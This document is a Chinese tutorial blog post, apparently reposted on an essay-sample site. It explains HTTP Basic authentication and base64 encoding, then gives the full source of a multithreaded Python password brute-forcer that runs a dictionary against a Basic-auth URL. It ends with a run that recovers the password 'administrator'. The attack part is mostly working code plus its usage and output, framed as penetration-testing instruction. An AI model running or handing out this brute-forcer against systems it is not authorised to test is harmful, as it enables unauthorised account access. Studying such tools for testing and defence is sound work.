1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > 网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器

网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器

时间:2023-07-13 21:25:01

相关推荐

网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器

相关文章:

本篇将会涉及:

HTTP 基本认证

对HTTP Basic认证进行密码暴力攻击测试

什么是HTTP 基本认证

HTTP基本认证(HTTP Basic Authentication)是HTTP协议中实现Web资源访问控制的最简单的认证手段。其通过添加header头域的方式或者在URL中附带参数的方式提供认证信息,并通过Base64编码将认证信息进行编码传输,最后由服务器接收到编码后的字符进行解码认证。

当我们访问一个需要进行HTTP基本认证的网址时,其会通过响应一个401状态码,并返回一个认证框来接收用户输入的认证信息。如果我们填错,服务器会继续返回一个401状态码和认证框,如果认证成功,则返回200请求成功状态码。

HTTP基本认证一个优点是几乎所有的现代浏览器都支持这种认证方式,非常的简单方便,但是由于其技术特性,这种认证方式并不是很安全,现在亦多存在于内网环境下的站点。

其采用的Base64编码加密,也是属于“防君子不防小人”的加密。利用Python的base64模块,我们就能够轻松的进行加密和解密:

import base64

# 原始字符串

a = 'admin123'

# base64编码加密

b = base64.b64encode(a.encode('utf-8'))

print(str(b,'utf-8'))

# base64编码解密

c = str(b,'utf-8')

d = base64.b64decode(c)

print(str(d,'utf-8'))

返回的结果为:

YWRtaW4xMjM=

admin123

是不是感觉很坑爹,嗯,就是的。^_^

编写Python密码暴力测试器

了解了HTTP基本认证的一些概念,下面我们继续使用Python编写一个渗透测试密码暴力破解器。

照常,我们引入相关的模块

# coding:utf-8

import requests

import sys

import getopt

import time

from termcolor import colored

from threading import Thread

由于字典中的条目会有很多,所以我们设置一个全局变量,用来标识字典中的密码是否有效:

global valid

valid = '1'

然后照例我们定义一个横幅函数,装饰我们的单调的命令行:

# 程序标识

def banner():

print("\n********************")

name = '''

______ _ _

|___ / (_) | |

/ / _ __ ___ _ ___| |_ ___ _ __

/ / | '_ ` _ \| / __| __/ _ \ '__|

/ /__| | | | | | \__ \ || __/ |

/_____|_| |_| |_|_|___/\__\___|_|

'''

print(name)

print("州的先生-密码暴力测试器 v1.0")

print("***********************")

接着,仍然是程序的使用参数方法示例:

# 程序用法

def usage():

print("州的先生密码暴力测试器使用方法:")

print(" -w:网址 (/admin)")

print(" -u:用户名")

print(" -t:线程数")

print(" -f:字典文件")

print("例子:bruteforcer.py -w /admin -u admin -t 5 -f commom.txt")

接着就是我们的主类request_performer():

class request_performer(Thread):

def __init__(self,name,user,url):

Thread.__init__(self)

try:

self.password = name.split("\n")[0]

self.username = user

self.url = url

except Exception as e:

print(e)

def run(self):

global valid

if valid == '1':

try:

r = requests.get(self.url,auth=(self.username,self.password))

if r.status_code == 200:

valid = '0'

print("[+]发现密码:"+ colored(self.password,'green'))

sys.exit()

else:

print("无效的密码:"+ self.password)

i[0] = i[0] - 1

except Exception as e:

print(e)

最后是启动线程的函数launcher_thread()和启动程序的函数start():

def start(argv):

banner()

if len(sys.argv) < 5:

usage()

sys.exit()

try:

opts, args = getopt.getopt(argv, "u:w:f:t:")

except getopt.GetoptError:

print("错误的参数")

sys.exit()

for opt, args in opts:

if opt == '-u':

user = args

elif opt == '-w':

url = args

elif opt == '-f':

dicts = args

elif opt == '-t':

threads = args

try:

f = open(dicts, 'r')

passwords = f.readlines()

except:

print("打开文件错误:", dicts, "\n")

sys.exit()

launcher_thread(passwords,threads,user,url)

def launcher_thread(passwords,th,username,url):

global i

i = []

print("==============================================")

i.append(0)

while len(passwords):

if valid == '1':

try:

if i[0] < int(th):

passwd = passwords.pop(0)

i[0] = i[0]+1

thread = request_performer(passwd,username,url)

thread.start()

except KeyboardInterrupt:

print("用户停止了程序运行。完成探测")

sys.exit()

thread.join()

return True

在命令行终端运行命令:

python passBruteForcer.py -w /Admin -u admin -t 5 -f pass.txt

结果显示发现了一个密码“administrator”

我们打开/Admin,使用用户名admin和密码administrator登录,看看能否成功登录。

结果认证成功进入了一个目录内,说明我们的弱口令密码暴力测试成功了。

下一篇,我们将改进我们的密码暴力测试器,让其支持更加安全的认证方式——HTTP摘要认证。

敬请期待!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。